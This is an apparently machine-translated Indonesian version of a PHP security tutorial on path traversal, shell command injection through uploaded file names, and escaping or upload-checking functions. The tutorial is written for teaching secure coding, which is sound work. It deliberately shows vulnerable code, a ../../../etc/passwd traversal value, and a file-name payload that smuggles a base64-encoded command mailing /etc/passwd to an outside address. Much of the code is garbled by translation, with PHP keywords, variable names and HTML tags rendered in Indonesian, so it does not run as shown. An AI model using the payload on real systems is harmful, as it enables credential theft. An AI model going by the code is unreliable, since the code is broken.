Pentingnya Memperhatikan Masalah Keamanan Melihat Lebih dari Segalanya
Cara paling efektif namun sering diabaikan untuk mencegah pengguna merusak program Anda dengan jahat adalah dengan mempertimbangkan kemungkinan saat Anda menulis kode. Penting untuk menyadari kemungkinan masalah keamanan dalam kode Anda. Perhatikan contoh fungsi berikut yang dirancang untuk menyederhanakan proses penulisan file teks besar di PHP:
<?php
fungsi tulis_teks($namafile, $teks="") {
statis $open_files = array();
// Jika nama file kosong, tutup semua file
jika ($namafile == NULL) {
foreach($open_files sebagai $fr) {
fclose($fr);
}
kembali benar;
}
$indeks = md5($namafile);
if(!isset($open_files[$index])) {
$open_files[$index] = fopen($nama file, "a+");
if(!$open_files[$index]) mengembalikan salah;
}
fputs($open_files[$index], $teks);
kembali benar;
}
?>
Fungsi ini mengambil dua parameter default, nama file dan teks yang akan ditulis ke file.
Fungsi ini pertama-tama akan memeriksa apakah file tersebut sudah terbuka; jika demikian, pegangan file asli akan digunakan. Jika tidak maka akan tercipta dengan sendirinya. Dalam kedua kasus tersebut, teks ditulis ke file.
Jika nama file yang diteruskan ke fungsi tersebut adalah NULL, semua file yang terbuka akan ditutup. Contoh penggunaan disediakan di bawah ini.
Fungsi ini akan lebih jelas dan mudah dibaca jika pengembang menulis beberapa file teks dalam format berikut.
Misalkan fungsi ini ada dalam file terpisah yang berisi kode yang memanggil fungsi ini.
Di bawah ini adalah programnya, sebut saja quotes.php:
<html><body>
<form action="<?=$_SERVER['PHP_SELF']?>" method="get">
Pilih sifat kutipan:
<pilih nama="kutipan" size="3">
<option value="funny">Kutipan lucu</option>
<option value="politik">Kutipan politik</option>
<option value="love">Kutipan Romantis</option>
</pilih><br />
Kutipan: <input type="text" name="quote_text" size="30" />
<input type="kirim" value="Simpan Penawaran" />
</bentuk>
</tubuh></html>
<?php
include_once('write_text.php');
$namafile = "/home/web/quotes/{$_GET['quote']}";
$quote_msg = $_GET['quote_text'];
if (tulis_teks($namafile, $quote_msg)) {
echo "<center><hr><h2>Kutipan disimpan!</h2></center>";
} kalau tidak {
echo "<center><hr><h2>Kesalahan penulisan kutipan</h2></center>";
}
tulis_teks(NULL);
?>
Seperti yang Anda lihat, pengembang menggunakan fungsi write_text() untuk membuat sistem di mana pengguna dapat mengirimkan kutipan favorit mereka, yang akan disimpan dalam file teks.
Sayangnya, pengembang mungkin tidak menyangka bahwa program ini juga memungkinkan pengguna jahat untuk membahayakan keamanan server web.
Mungkin saat ini Anda sedang menggaruk-garuk kepala dan bertanya-tanya bagaimana program yang tampaknya tidak berbahaya ini dapat menimbulkan risiko keamanan.
Jika Anda tidak tahu, pertimbangkan URL berikut, dan ingat bahwa program ini disebut quotes.php:
http://www.somewhere.com/fun/quotes.php?quote=different_file.dat"e_text=garbage+data
Saat ini URL diteruskan ke Apa yang akan terjadi ketika menggunakan server web?
Jelas, quotes.php akan dieksekusi, tetapi alih-alih menulis kutipan ke salah satu dari tiga file yang kita inginkan, file baru bernama differential_file.dat akan dibuat berisi string data sampah.
Jelas, ini bukan perilaku yang diinginkan. Pengguna jahat dapat mengakses file kata sandi UNIX dan membuat akun dengan menentukan kutipan sebagai ../../../etc/passwd (walaupun ini memerlukan server web untuk menjalankan program sebagai pengguna super. . Jika demikian, Anda harus berhenti membaca dan memperbaikinya sekarang).
Jika /home/web/quotes/ dapat diakses melalui browser, mungkin masalah keamanan paling serius pada program ini adalah program ini memungkinkan pengguna mana pun untuk menulis dan menjalankan program PHP sewenang-wenang. Ini akan menimbulkan masalah yang tiada habisnya.
Berikut beberapa solusinya. Jika Anda hanya perlu menulis beberapa file dalam sebuah direktori, pertimbangkan untuk menggunakan array terkait untuk menyimpan nama file. Jika file yang dimasukkan oleh pengguna ada dalam array ini, maka dapat ditulis dengan aman. Ide lainnya adalah menghapus semua karakter selain huruf atau angka untuk memastikan tidak ada pemisah direktori. Cara lain adalah dengan memeriksa ekstensi file untuk memastikan bahwa file tersebut tidak akan dieksekusi oleh server web.
Prinsipnya sederhana, sebagai pengembang Anda harus memikirkan lebih dari apa yang dilakukan program Anda saat ingin menjalankannya.
Apa yang terjadi jika data ilegal memasuki elemen formulir? Bisakah pengguna jahat menyebabkan program Anda berperilaku tidak diinginkan? Apa yang bisa dilakukan untuk menghentikan serangan ini? Server web dan program PHP Anda hanya aman pada tautan dengan keamanan terlemah, jadi penting untuk memastikan bahwa tautan yang berpotensi tidak aman ini aman.
Kesalahan Umum Terkait Keamanan Berikut adalah beberapa hal penting, daftar singkat dan tidak lengkap kesalahan pengkodean dan administratif yang dapat membahayakan keamanan
1. Percayai data Ini adalah tema yang ada sepanjang diskusi saya tentang keamanan program PHP. Anda tidak boleh mempercayai data yang datang dari luar. Baik itu berasal dari formulir yang dikirimkan pengguna, file di sistem file, atau variabel lingkungan, tidak ada data yang bisa dianggap remeh. Jadi input pengguna harus divalidasi dan diformat untuk memastikan keamanan.
Kesalahan 2. Menyimpan Data Sensitif di Direktori Web Setiap dan semua data sensitif harus disimpan dalam file terpisah dari program yang memerlukan data tersebut, dan dalam direktori yang tidak dapat diakses melalui browser. Ketika data sensitif perlu digunakan, sertakan data tersebut dalam program PHP yang sesuai melalui pernyataan include atau require.
Kesalahan 3. Kegagalan untuk menggunakan tindakan pencegahan keselamatan yang direkomendasikan
Manual PHP berisi bab lengkap tentang tindakan pencegahan keamanan saat menggunakan dan menulis program PHP. Panduan ini juga (hampir) menjelaskan dengan jelas, berdasarkan studi kasus, kapan terdapat potensi risiko keamanan dan cara meminimalkannya. Dalam contoh lain, pengguna jahat mengandalkan kesalahan pengembang dan administrator untuk mendapatkan informasi keamanan yang mereka pedulikan guna mendapatkan izin sistem. Perhatikan peringatan ini dan ambil langkah yang tepat untuk mengurangi kemungkinan pengguna jahat menyebabkan kerusakan nyata pada sistem Anda.
Melakukan System Call di PHP Ada banyak cara untuk melakukan system call di PHP.
Misalnya, operator system(), exec(), passthru(), popen(), dan backquote (`) semuanya memungkinkan Anda melakukan panggilan sistem dalam program Anda. Penggunaan fungsi-fungsi ini secara tidak tepat akan membuka pintu bagi pengguna jahat untuk menjalankan perintah sistem di server Anda. Seperti ketika mengakses file, dalam sebagian besar kasus, kerentanan keamanan terjadi karena masukan eksternal yang tidak dapat diandalkan yang menyebabkan pelaksanaan perintah sistem.
Contoh program yang menggunakan panggilan sistem Pertimbangkan program yang menangani pengunggahan file http. Program ini menggunakan program zip untuk mengompresi file dan kemudian memindahkannya ke direktori tertentu (defaultnya adalah /usr/local/archives/). Kodenya adalah sebagai berikut:
<?php
$zip = "/usr/bin/zip";
$store_path = "/usr/local/arsip/";
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['nama']}.zip";
$namafile = nama dasar($cmp_name);
jika (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_nama $tmp_name";
$output = `$systemcall`;
jika (file_ada($cmp_name)) {
$savepath = $store_path.$namafile;
ganti nama($cmp_nama, $simpan jalur);
}
}
}
?>
<form enctype="multipart/form-data" action="<?
php echo $_SERVER['PHP_SELF'];
?>" metode="POSTING">
<input type="TERSEMBUNYI" name="MAX_FILE_SIZE" value="1048576">
File yang akan dikompres: <input name="file" type="file"><br />
<input type="submit" value="Compress File">
</form>
Meskipun program ini terlihat cukup sederhana dan mudah dimengerti, ada beberapa cara yang dapat dieksploitasi oleh pengguna jahat. Masalah keamanan paling serius terjadi ketika kita menjalankan perintah kompresi (melalui operator `), yang dapat dilihat dengan jelas pada baris berikut:
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['nama']}.zip";
$namafile = nama dasar($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_nama $tmp_name";
$output = `$panggilan sistem`;
...
Menipu program agar menjalankan perintah shell sewenang-wenang. Meskipun kode ini terlihat cukup aman, kode ini berpotensi mengizinkan pengguna mana pun yang memiliki izin mengunggah file untuk menjalankan perintah shell sewenang-wenang!
Tepatnya, kerentanan keamanan ini berasal dari penetapan variabel $cmp_name. Di sini kita ingin file terkompresi memiliki nama file yang sama seperti saat diunggah dari klien (dengan ekstensi .zip). Kami menggunakan $_FILES['file']['name'] (yang berisi nama file dari file yang diunggah di klien).
Dalam situasi seperti ini, pengguna jahat dapat mencapai tujuannya dengan mengunggah file berisi karakter yang memiliki arti khusus pada sistem operasi yang mendasarinya. Misalnya, apa yang terjadi jika pengguna membuat file kosong seperti gambar di bawah ini? (dari prompt shell UNIX)
[pengguna@localhost]# sentuh ";php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
sistem($kode);';"
Perintah ini akan membuat file dengan nama berikut:
;php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
sistem($kode);';
Terlihat aneh? Mari kita lihat "nama file" ini dan kita melihat bahwa ini sangat mirip dengan perintah yang menyebabkan PHP versi CLI mengeksekusi kode berikut:
<?php
$kode=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
sistem($kode);
?>
Jika Anda menampilkan konten variabel $code karena penasaran, Anda akan menemukan bahwa variabel tersebut berisi [email protected] < /etc/passwd. Jika pengguna meneruskan file ini ke suatu program dan PHP kemudian melakukan panggilan sistem untuk mengompresi file, PHP sebenarnya akan menjalankan pernyataan berikut:
/usr/bin/zip /tmp/;php -r
'$kode=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
sistem($kode);';.zip /tmp/phpY4iatI
Anehnya, perintah di atas bukan hanya satu pernyataan melainkan 3! Karena shell UNIX menafsirkan titik koma (;) sebagai akhir dari satu perintah shell dan awal dari perintah lain, kecuali ketika titik koma berada di dalam tanda kutip, system() PHP sebenarnya akan dijalankan sebagai berikut:
[user@localhost]# / usr /bin/zip /tmp/
[pengguna@localhost]# php -r
'$kode=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
sistem($kode);'
[pengguna@localhost]# .zip /tmp/phpY4iatI
Seperti yang Anda lihat, program PHP yang tampaknya tidak berbahaya ini tiba-tiba berubah menjadi pintu belakang yang dapat menjalankan perintah shell sewenang-wenang dan program PHP lainnya. Meskipun contoh ini hanya akan bekerja pada sistem yang memiliki versi CLI PHP di jalurnya, ada cara lain untuk mencapai efek yang sama dengan menggunakan teknik ini.
Kunci
untuk memerangi serangan panggilan sistem
adalah masukan dari pengguna, apa pun kontennya, tidak boleh dipercaya!Pertanyaannya tetap bagaimana menghindari situasi serupa ketika menggunakan panggilan sistem (selain tidak menggunakannya sama sekali). Untuk mengatasi serangan jenis ini, PHP menyediakan dua fungsi, escapeshellarg() dan escapeshellcmd().
Fungsi escapeshellarg() dirancang untuk menghapus karakter yang berpotensi berbahaya dari input pengguna yang digunakan sebagai argumen pada perintah sistem (dalam kasus kami, perintah zip). Sintaks fungsi ini adalah sebagai berikut:
escapeshellarg($string)
$string adalah input yang digunakan untuk memfilter, dan nilai yang dikembalikan adalah karakter yang difilter. Saat dijalankan, fungsi ini akan menambahkan tanda kutip tunggal di sekitar karakter dan keluar (mendahului) tanda kutip tunggal dalam string asli. Dalam rutinitas kita, jika kita menambahkan baris berikut sebelum menjalankan perintah sistem:
$cmp_name = escapeshellarg($cmp_name);
$tmp_name = escapeshellarg($tmp_name);
Kita dapat menghindari risiko keamanan tersebut dengan memastikan bahwa parameter yang diteruskan ke panggilan sistem telah diproses dan merupakan masukan pengguna tanpa maksud lain.
escapeshellcmd() mirip dengan escapeshellarg(), hanya saja ia hanya meloloskan karakter yang memiliki arti khusus pada sistem operasi yang mendasarinya. Berbeda dengan escapeshellarg(), escapeshellcmd() tidak menangani spasi putih pada konten. Misalnya, saat melakukan escape menggunakan escapeshellcmd(), karakternya
$string = "'halo, dunia!';perintah jahat"
Akan menjadi:
'halo, dunia'; perintah jahat
Jika string ini digunakan sebagai argumen pada panggilan sistem, string ini tetap tidak akan memberikan hasil yang benar karena shell akan menafsirkannya sebagai dua argumen terpisah: 'halo dan dunia';perintah jahat. Jika pengguna memasukkan bagian dari daftar argumen untuk panggilan sistem, escapeshellarg() adalah pilihan yang lebih baik.
Melindungi File yang Diunggah Sepanjang artikel ini, saya hanya berfokus pada bagaimana panggilan sistem dapat dibajak oleh pengguna jahat untuk memberikan hasil yang tidak diinginkan.
Namun, ada potensi risiko keamanan lain yang perlu disebutkan di sini. Melihat rutinitas kita lagi, fokuskan perhatian Anda pada baris berikut:
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['nama']}.zip";
$namafile = nama dasar($cmp_name);
if (file_exists($tmp_name)) {
Potensi risiko keamanan yang disebabkan oleh baris kode pada cuplikan di atas adalah pada baris terakhir kita menentukan apakah file yang diunggah benar-benar ada (ada dengan nama file sementara $tmp_name).
Risiko keamanan ini tidak berasal dari PHP itu sendiri, namun dari fakta bahwa nama file yang disimpan di $tmp_name sebenarnya bukan file sama sekali, namun mengarah ke file yang ingin diakses oleh pengguna jahat, seperti /etc/passwd.
Untuk mencegah hal ini terjadi, PHP menyediakan fungsi is_uploaded_file(), yang sama dengan file_exists(), namun juga menyediakan pemeriksaan apakah file benar-benar diunggah dari klien.
Dalam kebanyakan kasus, Anda perlu memindahkan file yang diunggah. PHP menyediakan fungsi move_uploaded_file() untuk bekerja dengan is_uploaded_file(). Fungsi ini digunakan untuk memindahkan file seperti rename(), hanya saja fungsi ini akan secara otomatis memeriksa untuk memastikan bahwa file yang dipindahkan adalah file yang diunggah sebelum dieksekusi. Sintaks dari move_uploaded_file() adalah sebagai berikut:
move_uploaded_file($filename, $destination);
Saat dijalankan, fungsi tersebut akan memindahkan file $filename yang diunggah ke $destination tujuan dan mengembalikan nilai Boolean untuk menunjukkan apakah operasi berhasil.
Catatan: John Coggeshall adalah konsultan dan penulis PHP. Sudah sekitar 5 tahun sejak dia mulai tidur di sekitar PHP.
Teks asli bahasa Inggris: http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html